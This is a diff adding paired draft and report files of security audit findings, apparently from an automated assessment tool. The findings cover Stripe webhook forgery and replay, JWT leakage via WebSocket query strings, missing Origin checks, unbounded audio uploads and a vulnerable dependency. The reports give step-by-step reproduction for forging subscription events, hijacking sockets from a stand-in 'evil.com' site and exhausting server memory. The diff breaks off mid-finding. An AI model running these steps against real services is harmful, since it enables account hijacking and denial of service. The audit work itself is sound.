The Stripe webhook event handler in `web/src/server/services/billing.service.ts` uses `as unknown as Record<string, unknown>` to cast event data, completely bypassing TypeScript type safety. When fields are accessed and cast (e.g., `sub.status as string`, `sub.current_period_start as number`), type mismatches produce silent failures — `undefined` values, `NaN` dates, or wrong types — that get stored in the database without validation.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/billing.service.ts` lines 173, 196, 207 (coercion points)
|
||||
- `web/src/server/services/billing.service.ts` lines 115–132 (updateSubscriptionInDB)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge webhook events with unexpected field types. The type coercion allows these malformed events to be processed without throwing errors, leading to data corruption.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Database boundary. Malformed external data bypasses type checking and is stored in the database without validation.
|
||||
|
||||
## Impact
|
||||
Incorrect subscription state updates, data corruption (Invalid Date values, undefined fields), potential data integrity issues if Drizzle accepts unexpected fields via `set(data as Record<string, unknown>)`.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Chained type coercion — bypasses TypeScript safety
|
||||
const obj = event.data.object as unknown as Record<string, unknown>;
|
||||
|
||||
// Silent failures on type mismatches
|
||||
currentPeriodStart: new Date((sub.current_period_start as number) * 1000),
|
||||
// If sub.current_period_start is undefined → NaN → Invalid Date
|
||||
|
||||
// Arbitrary field injection
|
||||
await ctx.db.update(subscriptions).set(data as Record<string, unknown>)
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker forges webhook event with unexpected field types (requires webhook secret)
|
||||
2. `handleWebhookEvent()` processes the event with type coercion
|
||||
3. Missing/malformed fields produce `undefined` or `NaN` values
|
||||
4. `updateSubscriptionInDB()` stores corrupted values in the database
|
||||
5. Subscription state becomes incorrect (Invalid Date, wrong status, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `switch (event.type)` limits which branches execute
|
||||
- No field-level validation before DB write
|
||||
- `updateSubscriptionInDB` accepts `data as Record<string, unknown>`, bypassing Drizzle type safety
|
||||
- No webhook event ID deduplication (see p8-007)
|
||||
53
piolium/findings/p8-006-webhook-type-coercion/report.md
Normal file
53
piolium/findings/p8-006-webhook-type-coercion/report.md
Normal file
@@ -0,0 +1,53 @@
|
||||
Phase: 8
|
||||
Sequence: 006
|
||||
Slug: webhook-type-coercion
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler uses chained type coercion (as unknown as Record<string, unknown>) that bypasses TypeScript type safety; malformed or unexpected webhook data can produce silent failures and data corruption
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook event handler in `web/src/server/services/billing.service.ts` uses `as unknown as Record<string, unknown>` to cast event data, completely bypassing TypeScript type safety. When fields are accessed and cast (e.g., `sub.status as string`, `sub.current_period_start as number`), type mismatches produce silent failures — `undefined` values, `NaN` dates, or wrong types — that get stored in the database without validation.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/billing.service.ts` lines 173, 196, 207 (coercion points)
|
||||
- `web/src/server/services/billing.service.ts` lines 115–132 (updateSubscriptionInDB)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge webhook events with unexpected field types. The type coercion allows these malformed events to be processed without throwing errors, leading to data corruption.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Database boundary. Malformed external data bypasses type checking and is stored in the database without validation.
|
||||
|
||||
## Impact
|
||||
Incorrect subscription state updates, data corruption (Invalid Date values, undefined fields), potential data integrity issues if Drizzle accepts unexpected fields via `set(data as Record<string, unknown>)`.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Chained type coercion — bypasses TypeScript safety
|
||||
const obj = event.data.object as unknown as Record<string, unknown>;
|
||||
|
||||
// Silent failures on type mismatches
|
||||
currentPeriodStart: new Date((sub.current_period_start as number) * 1000),
|
||||
// If sub.current_period_start is undefined → NaN → Invalid Date
|
||||
|
||||
// Arbitrary field injection
|
||||
await ctx.db.update(subscriptions).set(data as Record<string, unknown>)
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker forges webhook event with unexpected field types (requires webhook secret)
|
||||
2. `handleWebhookEvent()` processes the event with type coercion
|
||||
3. Missing/malformed fields produce `undefined` or `NaN` values
|
||||
4. `updateSubscriptionInDB()` stores corrupted values in the database
|
||||
5. Subscription state becomes incorrect (Invalid Date, wrong status, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `switch (event.type)` limits which branches execute
|
||||
- No field-level validation before DB write
|
||||
- `updateSubscriptionInDB` accepts `data as Record<string, unknown>`, bypassing Drizzle type safety
|
||||
- No webhook event ID deduplication (see p8-007)
|
||||
59
piolium/findings/p8-007-webhook-replay/draft.md
Normal file
59
piolium/findings/p8-007-webhook-replay/draft.md
Normal file
@@ -0,0 +1,59 @@
|
||||
Phase: 8
|
||||
Sequence: 007
|
||||
Slug: webhook-replay
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler has no event ID deduplication for most event types; replayed events for invoice.paid, invoice.payment_failed, customer.subscription.updated, and customer.subscription.deleted will re-execute their handlers
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook handler at `/api/stripe/webhook` has no event ID deduplication. While `checkout.session.completed` uses `onConflictDoNothing()` on `stripeId` (providing partial protection), other event types (`invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`) have no idempotency checks. An attacker who obtains `STRIPE_WEBHOOK_SECRET` can forge or replay events to manipulate subscription state.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/api/stripe/webhook.ts` lines 18–21 (entry point)
|
||||
- `web/src/server/services/billing.service.ts` lines 142–223 (handler)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge or replay webhook events. The attacker can replay `customer.subscription.updated` to change user tier, `invoice.paid` to re-activate canceled subscriptions, or `customer.subscription.deleted` to cancel active subscriptions.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Payment processing boundary. Replay of webhook events can manipulate subscription state without Stripe's knowledge.
|
||||
|
||||
## Impact
|
||||
- Replay `customer.subscription.updated` to change user tier (e.g., downgrade premium users)
|
||||
- Replay `invoice.paid` to re-activate canceled subscriptions
|
||||
- Replay `customer.subscription.deleted` to cancel active subscriptions (DoS)
|
||||
- `checkout.session.completed` is partially protected by `onConflictDoNothing()`, but replayed events with different `stripeId` values could still succeed
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// checkout.session.completed — partial protection
|
||||
await db.insert(subscriptions).values({...}).onConflictDoNothing();
|
||||
|
||||
// Other event types — NO idempotency check
|
||||
case "invoice.paid": {
|
||||
await updateSubscriptionInDB(invoice.subscription as string, { status: "active" });
|
||||
break;
|
||||
}
|
||||
case "customer.subscription.updated": {
|
||||
await updateSubscriptionInDB(stripeSub.id, { tier, status, ... });
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker obtains `STRIPE_WEBHOOK_SECRET` (via log exposure or other means)
|
||||
2. Attacker sends a forged POST to `/api/stripe/webhook` with valid Stripe signature
|
||||
3. Event type: `customer.subscription.updated` with attacker-controlled tier/status
|
||||
4. `handleWebhookEvent()` processes the event without checking event ID
|
||||
5. Subscription state is updated to attacker-controlled values
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `onConflictDoNothing()` provides partial protection for `checkout.session.completed`
|
||||
- No event ID deduplication table or check
|
||||
- No idempotency key in the webhook handler
|
||||
- `updateSubscriptionInDB` does not check for duplicate processing
|
||||
59
piolium/findings/p8-007-webhook-replay/report.md
Normal file
59
piolium/findings/p8-007-webhook-replay/report.md
Normal file
@@ -0,0 +1,59 @@
|
||||
Phase: 8
|
||||
Sequence: 007
|
||||
Slug: webhook-replay
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler has no event ID deduplication for most event types; replayed events for invoice.paid, invoice.payment_failed, customer.subscription.updated, and customer.subscription.deleted will re-execute their handlers
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The Stripe webhook handler at `/api/stripe/webhook` has no event ID deduplication. While `checkout.session.completed` uses `onConflictDoNothing()` on `stripeId` (providing partial protection), other event types (`invoice.paid`, `invoice.payment_failed`, `customer.subscription.updated`, `customer.subscription.deleted`) have no idempotency checks. An attacker who obtains `STRIPE_WEBHOOK_SECRET` can forge or replay events to manipulate subscription state.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/api/stripe/webhook.ts` lines 18–21 (entry point)
|
||||
- `web/src/server/services/billing.service.ts` lines 142–223 (handler)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with `STRIPE_WEBHOOK_SECRET` (or via log exposure) can forge or replay webhook events. The attacker can replay `customer.subscription.updated` to change user tier, `invoice.paid` to re-activate canceled subscriptions, or `customer.subscription.deleted` to cancel active subscriptions.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
External API boundary (Stripe webhook) → Payment processing boundary. Replay of webhook events can manipulate subscription state without Stripe's knowledge.
|
||||
|
||||
## Impact
|
||||
- Replay `customer.subscription.updated` to change user tier (e.g., downgrade premium users)
|
||||
- Replay `invoice.paid` to re-activate canceled subscriptions
|
||||
- Replay `customer.subscription.deleted` to cancel active subscriptions (DoS)
|
||||
- `checkout.session.completed` is partially protected by `onConflictDoNothing()`, but replayed events with different `stripeId` values could still succeed
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// checkout.session.completed — partial protection
|
||||
await db.insert(subscriptions).values({...}).onConflictDoNothing();
|
||||
|
||||
// Other event types — NO idempotency check
|
||||
case "invoice.paid": {
|
||||
await updateSubscriptionInDB(invoice.subscription as string, { status: "active" });
|
||||
break;
|
||||
}
|
||||
case "customer.subscription.updated": {
|
||||
await updateSubscriptionInDB(stripeSub.id, { tier, status, ... });
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker obtains `STRIPE_WEBHOOK_SECRET` (via log exposure or other means)
|
||||
2. Attacker sends a forged POST to `/api/stripe/webhook` with valid Stripe signature
|
||||
3. Event type: `customer.subscription.updated` with attacker-controlled tier/status
|
||||
4. `handleWebhookEvent()` processes the event without checking event ID
|
||||
5. Subscription state is updated to attacker-controlled values
|
||||
|
||||
## Defense Search Results
|
||||
- Stripe signature verification (`constructEvent()`) prevents forgery without the secret
|
||||
- `onConflictDoNothing()` provides partial protection for `checkout.session.completed`
|
||||
- No event ID deduplication table or check
|
||||
- No idempotency key in the webhook handler
|
||||
- `updateSubscriptionInDB` does not check for duplicate processing
|
||||
48
piolium/findings/p8-008-websocket-jwt-query-param/draft.md
Normal file
48
piolium/findings/p8-008-websocket-jwt-query-param/draft.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 008
|
||||
Slug: websocket-jwt-query-param
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket JWT passed in query parameter is visible in server/proxy/access logs; captured JWTs can be replayed to hijack WebSocket connections
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` authenticates connections by extracting a JWT from the `?token=[REDACTED:secret]] query parameter. This means the JWT token is visible in server access logs, proxy/load balancer logs (nginx, CloudFront, Vercel edge logs), browser network history, and any log aggregation system. An attacker with access to these logs can capture JWTs and connect to the WebSocket server as any user.
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 39–43 (token extraction)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with access to server/proxy logs can capture JWTs from WebSocket connection URLs. The captured JWT can be replayed to establish WebSocket connections as the victim user.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Authentication boundary. JWT tokens are exposed through log layers, allowing attackers to authenticate as any user by replaying captured tokens.
|
||||
|
||||
## Impact
|
||||
JWT token leakage through server logs enables WebSocket connection hijacking for any user whose token appears in logs. The attacker gains read-only access to real-time alerts (darkwatch exposures, voiceprint alerts, spam notifications).
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
function getTokenFromRequest(req: IncomingMessage): string | null {
|
||||
const url = new URL(req.url ?? "/", "http://localhost");
|
||||
return url.searchParams.get("token"); // JWT in query string
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Legitimate user connects WebSocket with `ws://host:3001/?token=[REDACTED:secret]]
|
||||
2. Server logs the full URL including the JWT token
|
||||
3. Attacker gains access to server logs (via log aggregation compromise, shared hosting, etc.)
|
||||
4. Attacker replays the JWT to establish a WebSocket connection as the victim
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- JWT verification (`verifyJWT()`) validates signature and expiry
|
||||
- No `Origin` header validation on WebSocket upgrade (see p8-009)
|
||||
- No `Sec-WebSocket-Protocol` header validation
|
||||
- No message size limit
|
||||
- Heartbeat timeout (30s interval + 10s pong timeout) prevents slow-loris DoS
|
||||
48
piolium/findings/p8-008-websocket-jwt-query-param/report.md
Normal file
48
piolium/findings/p8-008-websocket-jwt-query-param/report.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 008
|
||||
Slug: websocket-jwt-query-param
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket JWT passed in query parameter is visible in server/proxy/access logs; captured JWTs can be replayed to hijack WebSocket connections
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` authenticates connections by extracting a JWT from the `?token=[REDACTED:secret]] query parameter. This means the JWT token is visible in server access logs, proxy/load balancer logs (nginx, CloudFront, Vercel edge logs), browser network history, and any log aggregation system. An attacker with access to these logs can capture JWTs and connect to the WebSocket server as any user.
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 39–43 (token extraction)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with access to server/proxy logs can capture JWTs from WebSocket connection URLs. The captured JWT can be replayed to establish WebSocket connections as the victim user.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Authentication boundary. JWT tokens are exposed through log layers, allowing attackers to authenticate as any user by replaying captured tokens.
|
||||
|
||||
## Impact
|
||||
JWT token leakage through server logs enables WebSocket connection hijacking for any user whose token appears in logs. The attacker gains read-only access to real-time alerts (darkwatch exposures, voiceprint alerts, spam notifications).
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
function getTokenFromRequest(req: IncomingMessage): string | null {
|
||||
const url = new URL(req.url ?? "/", "http://localhost");
|
||||
return url.searchParams.get("token"); // JWT in query string
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Legitimate user connects WebSocket with `ws://host:3001/?token=[REDACTED:secret]]
|
||||
2. Server logs the full URL including the JWT token
|
||||
3. Attacker gains access to server logs (via log aggregation compromise, shared hosting, etc.)
|
||||
4. Attacker replays the JWT to establish a WebSocket connection as the victim
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- JWT verification (`verifyJWT()`) validates signature and expiry
|
||||
- No `Origin` header validation on WebSocket upgrade (see p8-009)
|
||||
- No `Sec-WebSocket-Protocol` header validation
|
||||
- No message size limit
|
||||
- Heartbeat timeout (30s interval + 10s pong timeout) prevents slow-loris DoS
|
||||
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 009
|
||||
Slug: websocket-no-origin-validation
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket server on port 3001 does not validate Origin header during upgrade handshake; combined with JWT-in-query-param, any website can initiate WebSocket connections using stolen tokens
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` does not validate the `Origin` header during the HTTP upgrade request. Combined with JWT authentication via query parameter, this means any website can initiate a WebSocket connection to the server on behalf of an authenticated user (if the user's JWT is known or leaked via p8-008).
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 80–102 (connection handler)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker controlling a malicious website (e.g., evil.com) can initiate WebSocket connections to the server. If the attacker has obtained the victim's JWT (via log exposure, XSS, or other means), they can authenticate as the victim without Origin validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Cross-origin boundary. The WebSocket server accepts connections from any origin without validation, allowing cross-origin WebSocket connections that bypass same-origin policy protections.
|
||||
|
||||
## Impact
|
||||
Cross-origin WebSocket connections without Origin validation. Combined with JWT-in-query-parameter (p8-008), this creates a complete authentication bypass chain accessible from any website.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
wss.on("connection", async (ws: WsClient, req: IncomingMessage) => {
|
||||
const userId = await authenticateConnection(ws, req);
|
||||
// No Origin header check anywhere
|
||||
// req.origin is available but never inspected
|
||||
if (!userId) {
|
||||
ws.close(4001, "Authentication failed");
|
||||
return;
|
||||
}
|
||||
ws.userId = userId;
|
||||
addSocket(userId, ws);
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker controls a malicious website (evil.com)
|
||||
2. User is authenticated on Kordant (has valid JWT)
|
||||
3. If JWT is leaked (see p8-008), attacker crafts WebSocket connection from evil.com
|
||||
4. WebSocket server accepts the connection without Origin validation
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- No `verifyClient` option used on WebSocketServer
|
||||
- CORS middleware in `web/src/middleware.ts` does not apply to WebSocket upgrade (different handler, port 3001)
|
||||
- JWT verification validates signature and expiry but not origin
|
||||
- No per-user connection limit
|
||||
- Heartbeat timeout prevents unresponsive connections
|
||||
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 009
|
||||
Slug: websocket-no-origin-validation
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket server on port 3001 does not validate Origin header during upgrade handshake; combined with JWT-in-query-param, any website can initiate WebSocket connections using stolen tokens
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` does not validate the `Origin` header during the HTTP upgrade request. Combined with JWT authentication via query parameter, this means any website can initiate a WebSocket connection to the server on behalf of an authenticated user (if the user's JWT is known or leaked via p8-008).
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 80–102 (connection handler)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker controlling a malicious website (e.g., evil.com) can initiate WebSocket connections to the server. If the attacker has obtained the victim's JWT (via log exposure, XSS, or other means), they can authenticate as the victim without Origin validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Cross-origin boundary. The WebSocket server accepts connections from any origin without validation, allowing cross-origin WebSocket connections that bypass same-origin policy protections.
|
||||
|
||||
## Impact
|
||||
Cross-origin WebSocket connections without Origin validation. Combined with JWT-in-query-parameter (p8-008), this creates a complete authentication bypass chain accessible from any website.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
wss.on("connection", async (ws: WsClient, req: IncomingMessage) => {
|
||||
const userId = await authenticateConnection(ws, req);
|
||||
// No Origin header check anywhere
|
||||
// req.origin is available but never inspected
|
||||
if (!userId) {
|
||||
ws.close(4001, "Authentication failed");
|
||||
return;
|
||||
}
|
||||
ws.userId = userId;
|
||||
addSocket(userId, ws);
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker controls a malicious website (evil.com)
|
||||
2. User is authenticated on Kordant (has valid JWT)
|
||||
3. If JWT is leaked (see p8-008), attacker crafts WebSocket connection from evil.com
|
||||
4. WebSocket server accepts the connection without Origin validation
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- No `verifyClient` option used on WebSocketServer
|
||||
- CORS middleware in `web/src/middleware.ts` does not apply to WebSocket upgrade (different handler, port 3001)
|
||||
- JWT verification validates signature and expiry but not origin
|
||||
- No per-user connection limit
|
||||
- Heartbeat timeout prevents unresponsive connections
|
||||
@@ -0,0 +1,66 @@
|
||||
Phase: 8
|
||||
Sequence: 010
|
||||
Slug: voiceprint-resource-exhaustion
|
||||
Verdict: VALID
|
||||
Rationale: VoicePrint audio endpoints accept unbounded base64 payloads with no maximum length; 100/min rate limit allows rapid large uploads that can exhaust server memory and disk
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The `voiceprintRouter.analyzeAudio` and `voiceprintRouter.createEnrollment` procedures accept `audioBase64` with only a `minLength(1)` validation. There is no maximum length, no content-type validation, and no size check before decoding. An authenticated attacker can send extremely large base64-encoded payloads that, when decoded, consume significant server memory during base64 decoding, ML preprocessing, and ML inference. The procedures use `protectedProcedure` (100/min default rate limit), providing weak protection against sustained attacks.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/voiceprint.ts` lines 8–10 (schemas)
|
||||
- `web/src/server/services/voiceprint.service.ts` lines 135–140 (service)
|
||||
- `web/src/server/api/utils.ts` lines 23–28 (protectedProcedure)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can send extremely large base64-encoded audio payloads. A 100MB base64 payload (representing ~75MB of audio data) consumes ~300MB+ memory per request (base64 string + decoded buffer + ML features + model inference + disk write).
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Resource boundary. Unbounded input exceeds expected resource allocation, affecting all users on the same server.
|
||||
|
||||
## Impact
|
||||
- **Memory exhaustion**: Single request can consume 300MB+; 100 rapid requests can exhaust server memory (OOM kill)
|
||||
- **Disk exhaustion**: Each request writes a ~75MB audio file to disk; rapid uploads fill disk
|
||||
- **ML model resource exhaustion**: ML preprocessing and inference are CPU-intensive; large inputs increase processing time
|
||||
- **Service disruption**: Memory exhaustion affects all users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no maximum length
|
||||
export const AnalyzeAudioSchema = object({
|
||||
audioBase64: string([minLength(1)]), // No maxLength
|
||||
});
|
||||
|
||||
// Service — no size check before decoding
|
||||
export async function analyzeAudio(userId: string, audioBase64: string) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64"); // No size check
|
||||
// ...
|
||||
const features = await preprocessAudio(audioBuffer); // ML preprocessing
|
||||
const detection = await detectSynthetic(features); // ML inference
|
||||
}
|
||||
|
||||
// Rate limit — 100/min for authenticated users
|
||||
const rateLimitTiers = {
|
||||
authenticated: { limit: 100, windowMs: 60_000 },
|
||||
};
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user sends `voiceprintRouter.analyzeAudio` with 100MB base64 payload
|
||||
2. Server decodes base64 → 75MB buffer
|
||||
3. ML preprocessing and inference consume additional memory
|
||||
4. Audio file written to disk (~75MB)
|
||||
5. Repeat 100 times in 1 minute → ~30GB+ memory usage → OOM kill or service disruption
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `minLength(1)` only sets minimum, no maximum
|
||||
- `protectedProcedure` auth check requires authentication
|
||||
- Rate limit (authenticated tier) allows 100/min — insufficient for large payloads
|
||||
- No content-type validation (no MIME type check)
|
||||
- No payload size limit on the HTTP request body
|
||||
- No streaming upload support (entire payload loaded into memory)
|
||||
@@ -0,0 +1,66 @@
|
||||
Phase: 8
|
||||
Sequence: 010
|
||||
Slug: voiceprint-resource-exhaustion
|
||||
Verdict: VALID
|
||||
Rationale: VoicePrint audio endpoints accept unbounded base64 payloads with no maximum length; 100/min rate limit allows rapid large uploads that can exhaust server memory and disk
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The `voiceprintRouter.analyzeAudio` and `voiceprintRouter.createEnrollment` procedures accept `audioBase64` with only a `minLength(1)` validation. There is no maximum length, no content-type validation, and no size check before decoding. An authenticated attacker can send extremely large base64-encoded payloads that, when decoded, consume significant server memory during base64 decoding, ML preprocessing, and ML inference. The procedures use `protectedProcedure` (100/min default rate limit), providing weak protection against sustained attacks.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/voiceprint.ts` lines 8–10 (schemas)
|
||||
- `web/src/server/services/voiceprint.service.ts` lines 135–140 (service)
|
||||
- `web/src/server/api/utils.ts` lines 23–28 (protectedProcedure)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can send extremely large base64-encoded audio payloads. A 100MB base64 payload (representing ~75MB of audio data) consumes ~300MB+ memory per request (base64 string + decoded buffer + ML features + model inference + disk write).
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Resource boundary. Unbounded input exceeds expected resource allocation, affecting all users on the same server.
|
||||
|
||||
## Impact
|
||||
- **Memory exhaustion**: Single request can consume 300MB+; 100 rapid requests can exhaust server memory (OOM kill)
|
||||
- **Disk exhaustion**: Each request writes a ~75MB audio file to disk; rapid uploads fill disk
|
||||
- **ML model resource exhaustion**: ML preprocessing and inference are CPU-intensive; large inputs increase processing time
|
||||
- **Service disruption**: Memory exhaustion affects all users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no maximum length
|
||||
export const AnalyzeAudioSchema = object({
|
||||
audioBase64: string([minLength(1)]), // No maxLength
|
||||
});
|
||||
|
||||
// Service — no size check before decoding
|
||||
export async function analyzeAudio(userId: string, audioBase64: string) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64"); // No size check
|
||||
// ...
|
||||
const features = await preprocessAudio(audioBuffer); // ML preprocessing
|
||||
const detection = await detectSynthetic(features); // ML inference
|
||||
}
|
||||
|
||||
// Rate limit — 100/min for authenticated users
|
||||
const rateLimitTiers = {
|
||||
authenticated: { limit: 100, windowMs: 60_000 },
|
||||
};
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user sends `voiceprintRouter.analyzeAudio` with 100MB base64 payload
|
||||
2. Server decodes base64 → 75MB buffer
|
||||
3. ML preprocessing and inference consume additional memory
|
||||
4. Audio file written to disk (~75MB)
|
||||
5. Repeat 100 times in 1 minute → ~30GB+ memory usage → OOM kill or service disruption
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `minLength(1)` only sets minimum, no maximum
|
||||
- `protectedProcedure` auth check requires authentication
|
||||
- Rate limit (authenticated tier) allows 100/min — insufficient for large payloads
|
||||
- No content-type validation (no MIME type check)
|
||||
- No payload size limit on the HTTP request body
|
||||
- No streaming upload support (entire payload loaded into memory)
|
||||
@@ -0,0 +1,47 @@
|
||||
Phase: 8
|
||||
Sequence: 011
|
||||
Slug: superjson-vulnerable-version
|
||||
Verdict: VALID
|
||||
Rationale: Browser extension uses superjson@^2.2.1 which includes vulnerable versions (2.2.1–2.2.5) affected by CVE-2022-23631 (CVSS 10.0 prototype pollution); web server is not affected (does not use superjson)
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The browser extension (`browser-ext`) depends on `superjson@^2.2.1`, which is vulnerable to CVE-2022-23631 (CVSS 10.0 — Prototype Pollution → RCE). The `^2.2.1` semver range allows any version from 2.2.1 up to (but not including) 3.0.0. CVE-2022-23631 was fixed in superjson 2.2.6, so versions 2.2.1 through 2.2.5 are vulnerable. The web server does not use superjson (confirmed by dependency scan), so the vulnerability is confined to the browser extension context.
|
||||
|
||||
## Location
|
||||
- `browser-ext/package.json` line 18 (`"superjson": "^2.2.1"`)
|
||||
- `browser-ext/src/lib/api-client.ts` (tRPC client using superjson)
|
||||
|
||||
## Attacker Control
|
||||
The extension serializes data using superjson. If the extension deserializes malicious superjson data (e.g., from a server response), prototype pollution occurs in the extension context. This could affect extension storage, API keys, and local data.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Browser extension local data boundary. Prototype pollution in the extension context could affect extension storage and local data handling.
|
||||
|
||||
## Impact
|
||||
